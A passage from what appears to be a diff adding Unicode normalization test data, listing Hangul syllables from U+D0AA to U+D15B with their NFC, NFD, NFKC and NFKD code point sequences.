+{ source: [0xD0AA], NFC: [0xD0AA], NFD: [0x110F, 0x1175, 0x11AD], NFKC: [0xD0AA], NFKD: [0x110F, 0x1175, 0x11AD] },
+{ source: [0xD0AB], NFC: [0xD0AB], NFD: [0x110F, 0x1175, 0x11AE], NFKC: [0xD0AB], NFKD: [0x110F, 0x1175, 0x11AE] },
+{ source: [0xD0AC], NFC: [0xD0AC], NFD: [0x110F, 0x1175, 0x11AF], NFKC: [0xD0AC], NFKD: [0x110F, 0x1175, 0x11AF] },
+{ source: [0xD0AD], NFC: [0xD0AD], NFD: [0x110F, 0x1175, 0x11B0], NFKC: [0xD0AD], NFKD: [0x110F, 0x1175, 0x11B0] },
+{ source: [0xD0AE], NFC: [0xD0AE], NFD: [0x110F, 0x1175, 0x11B1], NFKC: [0xD0AE], NFKD: [0x110F, 0x1175, 0x11B1] },
+{ source: [0xD0AF], NFC: [0xD0AF], NFD: [0x110F, 0x1175, 0x11B2], NFKC: [0xD0AF], NFKD: [0x110F, 0x1175, 0x11B2] },
+{ source: [0xD0B0], NFC: [0xD0B0], NFD: [0x110F, 0x1175, 0x11B3], NFKC: [0xD0B0], NFKD: [0x110F, 0x1175, 0x11B3] },
+{ source: [0xD0B1], NFC: [0xD0B1], NFD: [0x110F, 0x1175, 0x11B4], NFKC: [0xD0B1], NFKD: [0x110F, 0x1175, 0x11B4] },
+{ source: [0xD0B2], NFC: [0xD0B2], NFD: [0x110F, 0x1175, 0x11B5], NFKC: [0xD0B2], NFKD: [0x110F, 0x1175, 0x11B5] },
+{ source: [0xD0B3], NFC: [0xD0B3], NFD: [0x110F, 0x1175, 0x11B6], NFKC: [0xD0B3], NFKD: [0x110F, 0x1175, 0x11B6] },
+{ source: [0xD0B4], NFC: [0xD0B4], NFD: [0x110F, 0x1175, 0x11B7], NFKC: [0xD0B4], NFKD: [0x110F, 0x1175, 0x11B7] },
+{ source: [0xD0B5], NFC: [0xD0B5], NFD: [0x110F, 0x1175, 0x11B8], NFKC: [0xD0B5], NFKD: [0x110F, 0x1175, 0x11B8] },
+{ source: [0xD0B6], NFC: [0xD0B6], NFD: [0x110F, 0x1175, 0x11B9], NFKC: [0xD0B6], NFKD: [0x110F, 0x1175, 0x11B9] },
+{ source: [0xD0B7], NFC: [0xD0B7], NFD: [0x110F, 0x1175, 0x11BA], NFKC: [0xD0B7], NFKD: [0x110F, 0x1175, 0x11BA] },
+{ source: [0xD0B8], NFC: [0xD0B8], NFD: [0x110F, 0x1175, 0x11BB], NFKC: [0xD0B8], NFKD: [0x110F, 0x1175, 0x11BB] },
+{ source: [0xD0B9], NFC: [0xD0B9], NFD: [0x110F, 0x1175, 0x11BC], NFKC: [0xD0B9], NFKD: [0x110F, 0x1175, 0x11BC] },
+{ source: [0xD0BA], NFC: [0xD0BA], NFD: [0x110F, 0x1175, 0x11BD], NFKC: [0xD0BA], NFKD: [0x110F, 0x1175, 0x11BD] },
+{ source: [0xD0BB], NFC: [0xD0BB], NFD: [0x110F, 0x1175, 0x11BE], NFKC: [0xD0BB], NFKD: [0x110F, 0x1175, 0x11BE] },
+{ source: [0xD0BC], NFC: [0xD0BC], NFD: [0x110F, 0x1175, 0x11BF], NFKC: [0xD0BC], NFKD: [0x110F, 0x1175, 0x11BF] },
+{ source: [0xD0BD], NFC: [0xD0BD], NFD: [0x110F, 0x1175, 0x11C0], NFKC: [0xD0BD], NFKD: [0x110F, 0x1175, 0x11C0] },
+{ source: [0xD0BE], NFC: [0xD0BE], NFD: [0x110F, 0x1175, 0x11C1], NFKC: [0xD0BE], NFKD: [0x110F, 0x1175, 0x11C1] },
+{ source: [0xD0BF], NFC: [0xD0BF], NFD: [0x110F, 0x1175, 0x11C2], NFKC: [0xD0BF], NFKD: [0x110F, 0x1175, 0x11C2] },
+{ source: [0xD0C0], NFC: [0xD0C0], NFD: [0x1110, 0x1161], NFKC: [0xD0C0], NFKD: [0x1110, 0x1161] },
+{ source: [0xD0C1], NFC: [0xD0C1], NFD: [0x1110, 0x1161, 0x11A8], NFKC: [0xD0C1], NFKD: [0x1110, 0x1161, 0x11A8] },
+{ source: [0xD0C2], NFC: [0xD0C2], NFD: [0x1110, 0x1161, 0x11A9], NFKC: [0xD0C2], NFKD: [0x1110, 0x1161, 0x11A9] },
+{ source: [0xD0C3], NFC: [0xD0C3], NFD: [0x1110, 0x1161, 0x11AA], NFKC: [0xD0C3], NFKD: [0x1110, 0x1161, 0x11AA] },
+{ source: [0xD0C4], NFC: [0xD0C4], NFD: [0x1110, 0x1161, 0x11AB], NFKC: [0xD0C4], NFKD: [0x1110, 0x1161, 0x11AB] },
+{ source: [0xD0C5], NFC: [0xD0C5], NFD: [0x1110, 0x1161, 0x11AC], NFKC: [0xD0C5], NFKD: [0x1110, 0x1161, 0x11AC] },
+{ source: [0xD0C6], NFC: [0xD0C6], NFD: [0x1110, 0x1161, 0x11AD], NFKC: [0xD0C6], NFKD: [0x1110, 0x1161, 0x11AD] },
+{ source: [0xD0C7], NFC: [0xD0C7], NFD: [0x1110, 0x1161, 0x11AE], NFKC: [0xD0C7], NFKD: [0x1110, 0x1161, 0x11AE] },
+{ source: [0xD0C8], NFC: [0xD0C8], NFD: [0x1110, 0x1161, 0x11AF], NFKC: [0xD0C8], NFKD: [0x1110, 0x1161, 0x11AF] },
+{ source: [0xD0C9], NFC: [0xD0C9], NFD: [0x1110, 0x1161, 0x11B0], NFKC: [0xD0C9], NFKD: [0x1110, 0x1161, 0x11B0] },
+{ source: [0xD0CA], NFC: [0xD0CA], NFD: [0x1110, 0x1161, 0x11B1], NFKC: [0xD0CA], NFKD: [0x1110, 0x1161, 0x11B1] },
+{ source: [0xD0CB], NFC: [0xD0CB], NFD: [0x1110, 0x1161, 0x11B2], NFKC: [0xD0CB], NFKD: [0x1110, 0x1161, 0x11B2] },
+{ source: [0xD0CC], NFC: [0xD0CC], NFD: [0x1110, 0x1161, 0x11B3], NFKC: [0xD0CC], NFKD: [0x1110, 0x1161, 0x11B3] },
+{ source: [0xD0CD], NFC: [0xD0CD], NFD: [0x1110, 0x1161, 0x11B4], NFKC: [0xD0CD], NFKD: [0x1110, 0x1161, 0x11B4] },
+{ source: [0xD0CE], NFC: [0xD0CE], NFD: [0x1110, 0x1161, 0x11B5], NFKC: [0xD0CE], NFKD: [0x1110, 0x1161, 0x11B5] },
+{ source: [0xD0CF], NFC: [0xD0CF], NFD: [0x1110, 0x1161, 0x11B6], NFKC: [0xD0CF], NFKD: [0x1110, 0x1161, 0x11B6] },
+{ source: [0xD0D0], NFC: [0xD0D0], NFD: [0x1110, 0x1161, 0x11B7], NFKC: [0xD0D0], NFKD: [0x1110, 0x1161, 0x11B7] },
+{ source: [0xD0D1], NFC: [0xD0D1], NFD: [0x1110, 0x1161, 0x11B8], NFKC: [0xD0D1], NFKD: [0x1110, 0x1161, 0x11B8] },
+{ source: [0xD0D2], NFC: [0xD0D2], NFD: [0x1110, 0x1161, 0x11B9], NFKC: [0xD0D2], NFKD: [0x1110, 0x1161, 0x11B9] },
+{ source: [0xD0D3], NFC: [0xD0D3], NFD: [0x1110, 0x1161, 0x11BA], NFKC: [0xD0D3], NFKD: [0x1110, 0x1161, 0x11BA] },
+{ source: [0xD0D4], NFC: [0xD0D4], NFD: [0x1110, 0x1161, 0x11BB], NFKC: [0xD0D4], NFKD: [0x1110, 0x1161, 0x11BB] },
+{ source: [0xD0D5], NFC: [0xD0D5], NFD: [0x1110, 0x1161, 0x11BC], NFKC: [0xD0D5], NFKD: [0x1110, 0x1161, 0x11BC] },
+{ source: [0xD0D6], NFC: [0xD0D6], NFD: [0x1110, 0x1161, 0x11BD], NFKC: [0xD0D6], NFKD: [0x1110, 0x1161, 0x11BD] },
+{ source: [0xD0D7], NFC: [0xD0D7], NFD: [0x1110, 0x1161, 0x11BE], NFKC: [0xD0D7], NFKD: [0x1110, 0x1161, 0x11BE] },
+{ source: [0xD0D8], NFC: [0xD0D8], NFD: [0x1110, 0x1161, 0x11BF], NFKC: [0xD0D8], NFKD: [0x1110, 0x1161, 0x11BF] },
+{ source: [0xD0D9], NFC: [0xD0D9], NFD: [0x1110, 0x1161, 0x11C0], NFKC: [0xD0D9], NFKD: [0x1110, 0x1161, 0x11C0] },
+{ source: [0xD0DA], NFC: [0xD0DA], NFD: [0x1110, 0x1161, 0x11C1], NFKC: [0xD0DA], NFKD: [0x1110, 0x1161, 0x11C1] },
+{ source: [0xD0DB], NFC: [0xD0DB], NFD: [0x1110, 0x1161, 0x11C2], NFKC: [0xD0DB], NFKD: [0x1110, 0x1161, 0x11C2] },
+{ source: [0xD0DC], NFC: [0xD0DC], NFD: [0x1110, 0x1162], NFKC: [0xD0DC], NFKD: [0x1110, 0x1162] },
+{ source: [0xD0DD], NFC: [0xD0DD], NFD: [0x1110, 0x1162, 0x11A8], NFKC: [0xD0DD], NFKD: [0x1110, 0x1162, 0x11A8] },
+{ source: [0xD0DE], NFC: [0xD0DE], NFD: [0x1110, 0x1162, 0x11A9], NFKC: [0xD0DE], NFKD: [0x1110, 0x1162, 0x11A9] },
+{ source: [0xD0DF], NFC: [0xD0DF], NFD: [0x1110, 0x1162, 0x11AA], NFKC: [0xD0DF], NFKD: [0x1110, 0x1162, 0x11AA] },
+{ source: [0xD0E0], NFC: [0xD0E0], NFD: [0x1110, 0x1162, 0x11AB], NFKC: [0xD0E0], NFKD: [0x1110, 0x1162, 0x11AB] },
+{ source: [0xD0E1], NFC: [0xD0E1], NFD: [0x1110, 0x1162, 0x11AC], NFKC: [0xD0E1], NFKD: [0x1110, 0x1162, 0x11AC] },
+{ source: [0xD0E2], NFC: [0xD0E2], NFD: [0x1110, 0x1162, 0x11AD], NFKC: [0xD0E2], NFKD: [0x1110, 0x1162, 0x11AD] },
+{ source: [0xD0E3], NFC: [0xD0E3], NFD: [0x1110, 0x1162, 0x11AE], NFKC: [0xD0E3], NFKD: [0x1110, 0x1162, 0x11AE] },
+{ source: [0xD0E4], NFC: [0xD0E4], NFD: [0x1110, 0x1162, 0x11AF], NFKC: [0xD0E4], NFKD: [0x1110, 0x1162, 0x11AF] },
+{ source: [0xD0E5], NFC: [0xD0E5], NFD: [0x1110, 0x1162, 0x11B0], NFKC: [0xD0E5], NFKD: [0x1110, 0x1162, 0x11B0] },
+{ source: [0xD0E6], NFC: [0xD0E6], NFD: [0x1110, 0x1162, 0x11B1], NFKC: [0xD0E6], NFKD: [0x1110, 0x1162, 0x11B1] },
+{ source: [0xD0E7], NFC: [0xD0E7], NFD: [0x1110, 0x1162, 0x11B2], NFKC: [0xD0E7], NFKD: [0x1110, 0x1162, 0x11B2] },
+{ source: [0xD0E8], NFC: [0xD0E8], NFD: [0x1110, 0x1162, 0x11B3], NFKC: [0xD0E8], NFKD: [0x1110, 0x1162, 0x11B3] },
+{ source: [0xD0E9], NFC: [0xD0E9], NFD: [0x1110, 0x1162, 0x11B4], NFKC: [0xD0E9], NFKD: [0x1110, 0x1162, 0x11B4] },
+{ source: [0xD0EA], NFC: [0xD0EA], NFD: [0x1110, 0x1162, 0x11B5], NFKC: [0xD0EA], NFKD: [0x1110, 0x1162, 0x11B5] },
+{ source: [0xD0EB], NFC: [0xD0EB], NFD: [0x1110, 0x1162, 0x11B6], NFKC: [0xD0EB], NFKD: [0x1110, 0x1162, 0x11B6] },
+{ source: [0xD0EC], NFC: [0xD0EC], NFD: [0x1110, 0x1162, 0x11B7], NFKC: [0xD0EC], NFKD: [0x1110, 0x1162, 0x11B7] },
+{ source: [0xD0ED], NFC: [0xD0ED], NFD: [0x1110, 0x1162, 0x11B8], NFKC: [0xD0ED], NFKD: [0x1110, 0x1162, 0x11B8] },
+{ source: [0xD0EE], NFC: [0xD0EE], NFD: [0x1110, 0x1162, 0x11B9], NFKC: [0xD0EE], NFKD: [0x1110, 0x1162, 0x11B9] },
+{ source: [0xD0EF], NFC: [0xD0EF], NFD: [0x1110, 0x1162, 0x11BA], NFKC: [0xD0EF], NFKD: [0x1110, 0x1162, 0x11BA] },
+{ source: [0xD0F0], NFC: [0xD0F0], NFD: [0x1110, 0x1162, 0x11BB], NFKC: [0xD0F0], NFKD: [0x1110, 0x1162, 0x11BB] },
+{ source: [0xD0F1], NFC: [0xD0F1], NFD: [0x1110, 0x1162, 0x11BC], NFKC: [0xD0F1], NFKD: [0x1110, 0x1162, 0x11BC] },
+{ source: [0xD0F2], NFC: [0xD0F2], NFD: [0x1110, 0x1162, 0x11BD], NFKC: [0xD0F2], NFKD: [0x1110, 0x1162, 0x11BD] },
+{ source: [0xD0F3], NFC: [0xD0F3], NFD: [0x1110, 0x1162, 0x11BE], NFKC: [0xD0F3], NFKD: [0x1110, 0x1162, 0x11BE] },
+{ source: [0xD0F4], NFC: [0xD0F4], NFD: [0x1110, 0x1162, 0x11BF], NFKC: [0xD0F4], NFKD: [0x1110, 0x1162, 0x11BF] },
+{ source: [0xD0F5], NFC: [0xD0F5], NFD: [0x1110, 0x1162, 0x11C0], NFKC: [0xD0F5], NFKD: [0x1110, 0x1162, 0x11C0] },
+{ source: [0xD0F6], NFC: [0xD0F6], NFD: [0x1110, 0x1162, 0x11C1], NFKC: [0xD0F6], NFKD: [0x1110, 0x1162, 0x11C1] },
+{ source: [0xD0F7], NFC: [0xD0F7], NFD: [0x1110, 0x1162, 0x11C2], NFKC: [0xD0F7], NFKD: [0x1110, 0x1162, 0x11C2] },
+{ source: [0xD0F8], NFC: [0xD0F8], NFD: [0x1110, 0x1163], NFKC: [0xD0F8], NFKD: [0x1110, 0x1163] },
+{ source: [0xD0F9], NFC: [0xD0F9], NFD: [0x1110, 0x1163, 0x11A8], NFKC: [0xD0F9], NFKD: [0x1110, 0x1163, 0x11A8] },
+{ source: [0xD0FA], NFC: [0xD0FA], NFD: [0x1110, 0x1163, 0x11A9], NFKC: [0xD0FA], NFKD: [0x1110, 0x1163, 0x11A9] },
+{ source: [0xD0FB], NFC: [0xD0FB], NFD: [0x1110, 0x1163, 0x11AA], NFKC: [0xD0FB], NFKD: [0x1110, 0x1163, 0x11AA] },
+{ source: [0xD0FC], NFC: [0xD0FC], NFD: [0x1110, 0x1163, 0x11AB], NFKC: [0xD0FC], NFKD: [0x1110, 0x1163, 0x11AB] },
+{ source: [0xD0FD], NFC: [0xD0FD], NFD: [0x1110, 0x1163, 0x11AC], NFKC: [0xD0FD], NFKD: [0x1110, 0x1163, 0x11AC] },
+{ source: [0xD0FE], NFC: [0xD0FE], NFD: [0x1110, 0x1163, 0x11AD], NFKC: [0xD0FE], NFKD: [0x1110, 0x1163, 0x11AD] },
+{ source: [0xD0FF], NFC: [0xD0FF], NFD: [0x1110, 0x1163, 0x11AE], NFKC: [0xD0FF], NFKD: [0x1110, 0x1163, 0x11AE] },
+{ source: [0xD100], NFC: [0xD100], NFD: [0x1110, 0x1163, 0x11AF], NFKC: [0xD100], NFKD: [0x1110, 0x1163, 0x11AF] },
+{ source: [0xD101], NFC: [0xD101], NFD: [0x1110, 0x1163, 0x11B0], NFKC: [0xD101], NFKD: [0x1110, 0x1163, 0x11B0] },
+{ source: [0xD102], NFC: [0xD102], NFD: [0x1110, 0x1163, 0x11B1], NFKC: [0xD102], NFKD: [0x1110, 0x1163, 0x11B1] },
+{ source: [0xD103], NFC: [0xD103], NFD: [0x1110, 0x1163, 0x11B2], NFKC: [0xD103], NFKD: [0x1110, 0x1163, 0x11B2] },
+{ source: [0xD104], NFC: [0xD104], NFD: [0x1110, 0x1163, 0x11B3], NFKC: [0xD104], NFKD: [0x1110, 0x1163, 0x11B3] },
+{ source: [0xD105], NFC: [0xD105], NFD: [0x1110, 0x1163, 0x11B4], NFKC: [0xD105], NFKD: [0x1110, 0x1163, 0x11B4] },
+{ source: [0xD106], NFC: [0xD106], NFD: [0x1110, 0x1163, 0x11B5], NFKC: [0xD106], NFKD: [0x1110, 0x1163, 0x11B5] },
+{ source: [0xD107], NFC: [0xD107], NFD: [0x1110, 0x1163, 0x11B6], NFKC: [0xD107], NFKD: [0x1110, 0x1163, 0x11B6] },
+{ source: [0xD108], NFC: [0xD108], NFD: [0x1110, 0x1163, 0x11B7], NFKC: [0xD108], NFKD: [0x1110, 0x1163, 0x11B7] },
+{ source: [0xD109], NFC: [0xD109], NFD: [0x1110, 0x1163, 0x11B8], NFKC: [0xD109], NFKD: [0x1110, 0x1163, 0x11B8] },
+{ source: [0xD10A], NFC: [0xD10A], NFD: [0x1110, 0x1163, 0x11B9], NFKC: [0xD10A], NFKD: [0x1110, 0x1163, 0x11B9] },
+{ source: [0xD10B], NFC: [0xD10B], NFD: [0x1110, 0x1163, 0x11BA], NFKC: [0xD10B], NFKD: [0x1110, 0x1163, 0x11BA] },
+{ source: [0xD10C], NFC: [0xD10C], NFD: [0x1110, 0x1163, 0x11BB], NFKC: [0xD10C], NFKD: [0x1110, 0x1163, 0x11BB] },
+{ source: [0xD10D], NFC: [0xD10D], NFD: [0x1110, 0x1163, 0x11BC], NFKC: [0xD10D], NFKD: [0x1110, 0x1163, 0x11BC] },
+{ source: [0xD10E], NFC: [0xD10E], NFD: [0x1110, 0x1163, 0x11BD], NFKC: [0xD10E], NFKD: [0x1110, 0x1163, 0x11BD] },
+{ source: [0xD10F], NFC: [0xD10F], NFD: [0x1110, 0x1163, 0x11BE], NFKC: [0xD10F], NFKD: [0x1110, 0x1163, 0x11BE] },
+{ source: [0xD110], NFC: [0xD110], NFD: [0x1110, 0x1163, 0x11BF], NFKC: [0xD110], NFKD: [0x1110, 0x1163, 0x11BF] },
+{ source: [0xD111], NFC: [0xD111], NFD: [0x1110, 0x1163, 0x11C0], NFKC: [0xD111], NFKD: [0x1110, 0x1163, 0x11C0] },
+{ source: [0xD112], NFC: [0xD112], NFD: [0x1110, 0x1163, 0x11C1], NFKC: [0xD112], NFKD: [0x1110, 0x1163, 0x11C1] },
+{ source: [0xD113], NFC: [0xD113], NFD: [0x1110, 0x1163, 0x11C2], NFKC: [0xD113], NFKD: [0x1110, 0x1163, 0x11C2] },
+{ source: [0xD114], NFC: [0xD114], NFD: [0x1110, 0x1164], NFKC: [0xD114], NFKD: [0x1110, 0x1164] },
+{ source: [0xD115], NFC: [0xD115], NFD: [0x1110, 0x1164, 0x11A8], NFKC: [0xD115], NFKD: [0x1110, 0x1164, 0x11A8] },
+{ source: [0xD116], NFC: [0xD116], NFD: [0x1110, 0x1164, 0x11A9], NFKC: [0xD116], NFKD: [0x1110, 0x1164, 0x11A9] },
+{ source: [0xD117], NFC: [0xD117], NFD: [0x1110, 0x1164, 0x11AA], NFKC: [0xD117], NFKD: [0x1110, 0x1164, 0x11AA] },
+{ source: [0xD118], NFC: [0xD118], NFD: [0x1110, 0x1164, 0x11AB], NFKC: [0xD118], NFKD: [0x1110, 0x1164, 0x11AB] },
+{ source: [0xD119], NFC: [0xD119], NFD: [0x1110, 0x1164, 0x11AC], NFKC: [0xD119], NFKD: [0x1110, 0x1164, 0x11AC] },
+{ source: [0xD11A], NFC: [0xD11A], NFD: [0x1110, 0x1164, 0x11AD], NFKC: [0xD11A], NFKD: [0x1110, 0x1164, 0x11AD] },
+{ source: [0xD11B], NFC: [0xD11B], NFD: [0x1110, 0x1164, 0x11AE], NFKC: [0xD11B], NFKD: [0x1110, 0x1164, 0x11AE] },
+{ source: [0xD11C], NFC: [0xD11C], NFD: [0x1110, 0x1164, 0x11AF], NFKC: [0xD11C], NFKD: [0x1110, 0x1164, 0x11AF] },
+{ source: [0xD11D], NFC: [0xD11D], NFD: [0x1110, 0x1164, 0x11B0], NFKC: [0xD11D], NFKD: [0x1110, 0x1164, 0x11B0] },
+{ source: [0xD11E], NFC: [0xD11E], NFD: [0x1110, 0x1164, 0x11B1], NFKC: [0xD11E], NFKD: [0x1110, 0x1164, 0x11B1] },
+{ source: [0xD11F], NFC: [0xD11F], NFD: [0x1110, 0x1164, 0x11B2], NFKC: [0xD11F], NFKD: [0x1110, 0x1164, 0x11B2] },
+{ source: [0xD120], NFC: [0xD120], NFD: [0x1110, 0x1164, 0x11B3], NFKC: [0xD120], NFKD: [0x1110, 0x1164, 0x11B3] },
+{ source: [0xD121], NFC: [0xD121], NFD: [0x1110, 0x1164, 0x11B4], NFKC: [0xD121], NFKD: [0x1110, 0x1164, 0x11B4] },
+{ source: [0xD122], NFC: [0xD122], NFD: [0x1110, 0x1164, 0x11B5], NFKC: [0xD122], NFKD: [0x1110, 0x1164, 0x11B5] },
+{ source: [0xD123], NFC: [0xD123], NFD: [0x1110, 0x1164, 0x11B6], NFKC: [0xD123], NFKD: [0x1110, 0x1164, 0x11B6] },
+{ source: [0xD124], NFC: [0xD124], NFD: [0x1110, 0x1164, 0x11B7], NFKC: [0xD124], NFKD: [0x1110, 0x1164, 0x11B7] },
+{ source: [0xD125], NFC: [0xD125], NFD: [0x1110, 0x1164, 0x11B8], NFKC: [0xD125], NFKD: [0x1110, 0x1164, 0x11B8] },
+{ source: [0xD126], NFC: [0xD126], NFD: [0x1110, 0x1164, 0x11B9], NFKC: [0xD126], NFKD: [0x1110, 0x1164, 0x11B9] },
+{ source: [0xD127], NFC: [0xD127], NFD: [0x1110, 0x1164, 0x11BA], NFKC: [0xD127], NFKD: [0x1110, 0x1164, 0x11BA] },
+{ source: [0xD128], NFC: [0xD128], NFD: [0x1110, 0x1164, 0x11BB], NFKC: [0xD128], NFKD: [0x1110, 0x1164, 0x11BB] },
+{ source: [0xD129], NFC: [0xD129], NFD: [0x1110, 0x1164, 0x11BC], NFKC: [0xD129], NFKD: [0x1110, 0x1164, 0x11BC] },
+{ source: [0xD12A], NFC: [0xD12A], NFD: [0x1110, 0x1164, 0x11BD], NFKC: [0xD12A], NFKD: [0x1110, 0x1164, 0x11BD] },
+{ source: [0xD12B], NFC: [0xD12B], NFD: [0x1110, 0x1164, 0x11BE], NFKC: [0xD12B], NFKD: [0x1110, 0x1164, 0x11BE] },
+{ source: [0xD12C], NFC: [0xD12C], NFD: [0x1110, 0x1164, 0x11BF], NFKC: [0xD12C], NFKD: [0x1110, 0x1164, 0x11BF] },
+{ source: [0xD12D], NFC: [0xD12D], NFD: [0x1110, 0x1164, 0x11C0], NFKC: [0xD12D], NFKD: [0x1110, 0x1164, 0x11C0] },
+{ source: [0xD12E], NFC: [0xD12E], NFD: [0x1110, 0x1164, 0x11C1], NFKC: [0xD12E], NFKD: [0x1110, 0x1164, 0x11C1] },
+{ source: [0xD12F], NFC: [0xD12F], NFD: [0x1110, 0x1164, 0x11C2], NFKC: [0xD12F], NFKD: [0x1110, 0x1164, 0x11C2] },
+{ source: [0xD130], NFC: [0xD130], NFD: [0x1110, 0x1165], NFKC: [0xD130], NFKD: [0x1110, 0x1165] },
+{ source: [0xD131], NFC: [0xD131], NFD: [0x1110, 0x1165, 0x11A8], NFKC: [0xD131], NFKD: [0x1110, 0x1165, 0x11A8] },
+{ source: [0xD132], NFC: [0xD132], NFD: [0x1110, 0x1165, 0x11A9], NFKC: [0xD132], NFKD: [0x1110, 0x1165, 0x11A9] },
+{ source: [0xD133], NFC: [0xD133], NFD: [0x1110, 0x1165, 0x11AA], NFKC: [0xD133], NFKD: [0x1110, 0x1165, 0x11AA] },
+{ source: [0xD134], NFC: [0xD134], NFD: [0x1110, 0x1165, 0x11AB], NFKC: [0xD134], NFKD: [0x1110, 0x1165, 0x11AB] },
+{ source: [0xD135], NFC: [0xD135], NFD: [0x1110, 0x1165, 0x11AC], NFKC: [0xD135], NFKD: [0x1110, 0x1165, 0x11AC] },
+{ source: [0xD136], NFC: [0xD136], NFD: [0x1110, 0x1165, 0x11AD], NFKC: [0xD136], NFKD: [0x1110, 0x1165, 0x11AD] },
+{ source: [0xD137], NFC: [0xD137], NFD: [0x1110, 0x1165, 0x11AE], NFKC: [0xD137], NFKD: [0x1110, 0x1165, 0x11AE] },
+{ source: [0xD138], NFC: [0xD138], NFD: [0x1110, 0x1165, 0x11AF], NFKC: [0xD138], NFKD: [0x1110, 0x1165, 0x11AF] },
+{ source: [0xD139], NFC: [0xD139], NFD: [0x1110, 0x1165, 0x11B0], NFKC: [0xD139], NFKD: [0x1110, 0x1165, 0x11B0] },
+{ source: [0xD13A], NFC: [0xD13A], NFD: [0x1110, 0x1165, 0x11B1], NFKC: [0xD13A], NFKD: [0x1110, 0x1165, 0x11B1] },
+{ source: [0xD13B], NFC: [0xD13B], NFD: [0x1110, 0x1165, 0x11B2], NFKC: [0xD13B], NFKD: [0x1110, 0x1165, 0x11B2] },
+{ source: [0xD13C], NFC: [0xD13C], NFD: [0x1110, 0x1165, 0x11B3], NFKC: [0xD13C], NFKD: [0x1110, 0x1165, 0x11B3] },
+{ source: [0xD13D], NFC: [0xD13D], NFD: [0x1110, 0x1165, 0x11B4], NFKC: [0xD13D], NFKD: [0x1110, 0x1165, 0x11B4] },
+{ source: [0xD13E], NFC: [0xD13E], NFD: [0x1110, 0x1165, 0x11B5], NFKC: [0xD13E], NFKD: [0x1110, 0x1165, 0x11B5] },
+{ source: [0xD13F], NFC: [0xD13F], NFD: [0x1110, 0x1165, 0x11B6], NFKC: [0xD13F], NFKD: [0x1110, 0x1165, 0x11B6] },
+{ source: [0xD140], NFC: [0xD140], NFD: [0x1110, 0x1165, 0x11B7], NFKC: [0xD140], NFKD: [0x1110, 0x1165, 0x11B7] },
+{ source: [0xD141], NFC: [0xD141], NFD: [0x1110, 0x1165, 0x11B8], NFKC: [0xD141], NFKD: [0x1110, 0x1165, 0x11B8] },
+{ source: [0xD142], NFC: [0xD142], NFD: [0x1110, 0x1165, 0x11B9], NFKC: [0xD142], NFKD: [0x1110, 0x1165, 0x11B9] },
+{ source: [0xD143], NFC: [0xD143], NFD: [0x1110, 0x1165, 0x11BA], NFKC: [0xD143], NFKD: [0x1110, 0x1165, 0x11BA] },
+{ source: [0xD144], NFC: [0xD144], NFD: [0x1110, 0x1165, 0x11BB], NFKC: [0xD144], NFKD: [0x1110, 0x1165, 0x11BB] },
+{ source: [0xD145], NFC: [0xD145], NFD: [0x1110, 0x1165, 0x11BC], NFKC: [0xD145], NFKD: [0x1110, 0x1165, 0x11BC] },
+{ source: [0xD146], NFC: [0xD146], NFD: [0x1110, 0x1165, 0x11BD], NFKC: [0xD146], NFKD: [0x1110, 0x1165, 0x11BD] },
+{ source: [0xD147], NFC: [0xD147], NFD: [0x1110, 0x1165, 0x11BE], NFKC: [0xD147], NFKD: [0x1110, 0x1165, 0x11BE] },
+{ source: [0xD148], NFC: [0xD148], NFD: [0x1110, 0x1165, 0x11BF], NFKC: [0xD148], NFKD: [0x1110, 0x1165, 0x11BF] },
+{ source: [0xD149], NFC: [0xD149], NFD: [0x1110, 0x1165, 0x11C0], NFKC: [0xD149], NFKD: [0x1110, 0x1165, 0x11C0] },
+{ source: [0xD14A], NFC: [0xD14A], NFD: [0x1110, 0x1165, 0x11C1], NFKC: [0xD14A], NFKD: [0x1110, 0x1165, 0x11C1] },
+{ source: [0xD14B], NFC: [0xD14B], NFD: [0x1110, 0x1165, 0x11C2], NFKC: [0xD14B], NFKD: [0x1110, 0x1165, 0x11C2] },
+{ source: [0xD14C], NFC: [0xD14C], NFD: [0x1110, 0x1166], NFKC: [0xD14C], NFKD: [0x1110, 0x1166] },
+{ source: [0xD14D], NFC: [0xD14D], NFD: [0x1110, 0x1166, 0x11A8], NFKC: [0xD14D], NFKD: [0x1110, 0x1166, 0x11A8] },
+{ source: [0xD14E], NFC: [0xD14E], NFD: [0x1110, 0x1166, 0x11A9], NFKC: [0xD14E], NFKD: [0x1110, 0x1166, 0x11A9] },
+{ source: [0xD14F], NFC: [0xD14F], NFD: [0x1110, 0x1166, 0x11AA], NFKC: [0xD14F], NFKD: [0x1110, 0x1166, 0x11AA] },
+{ source: [0xD150], NFC: [0xD150], NFD: [0x1110, 0x1166, 0x11AB], NFKC: [0xD150], NFKD: [0x1110, 0x1166, 0x11AB] },
+{ source: [0xD151], NFC: [0xD151], NFD: [0x1110, 0x1166, 0x11AC], NFKC: [0xD151], NFKD: [0x1110, 0x1166, 0x11AC] },
+{ source: [0xD152], NFC: [0xD152], NFD: [0x1110, 0x1166, 0x11AD], NFKC: [0xD152], NFKD: [0x1110, 0x1166, 0x11AD] },
+{ source: [0xD153], NFC: [0xD153], NFD: [0x1110, 0x1166, 0x11AE], NFKC: [0xD153], NFKD: [0x1110, 0x1166, 0x11AE] },
+{ source: [0xD154], NFC: [0xD154], NFD: [0x1110, 0x1166, 0x11AF], NFKC: [0xD154], NFKD: [0x1110, 0x1166, 0x11AF] },
+{ source: [0xD155], NFC: [0xD155], NFD: [0x1110, 0x1166, 0x11B0], NFKC: [0xD155], NFKD: [0x1110, 0x1166, 0x11B0] },
+{ source: [0xD156], NFC: [0xD156], NFD: [0x1110, 0x1166, 0x11B1], NFKC: [0xD156], NFKD: [0x1110, 0x1166, 0x11B1] },
+{ source: [0xD157], NFC: [0xD157], NFD: [0x1110, 0x1166, 0x11B2], NFKC: [0xD157], NFKD: [0x1110, 0x1166, 0x11B2] },
+{ source: [0xD158], NFC: [0xD158], NFD: [0x1110, 0x1166, 0x11B3], NFKC: [0xD158], NFKD: [0x1110, 0x1166, 0x11B3] },
+{ source: [0xD159], NFC: [0xD159], NFD: [0x1110, 0x1166, 0x11B4], NFKC: [0xD159], NFKD: [0x1110, 0x1166, 0x11B4] },
+{ source: [0xD15A], NFC: [0xD15A], NFD: [0x1110, 0x1166, 0x11B5], NFKC: [0xD15A], NFKD: [0x1110, 0x1166, 0x11B5] },
+{ source: [0xD15B], NFC: [0xD15B], NFD: [0x1110, 0x1166, 0x11B6], NFKC: [0xD15B], NFKD: [0x1110, 0x1166, 0x11B6] },
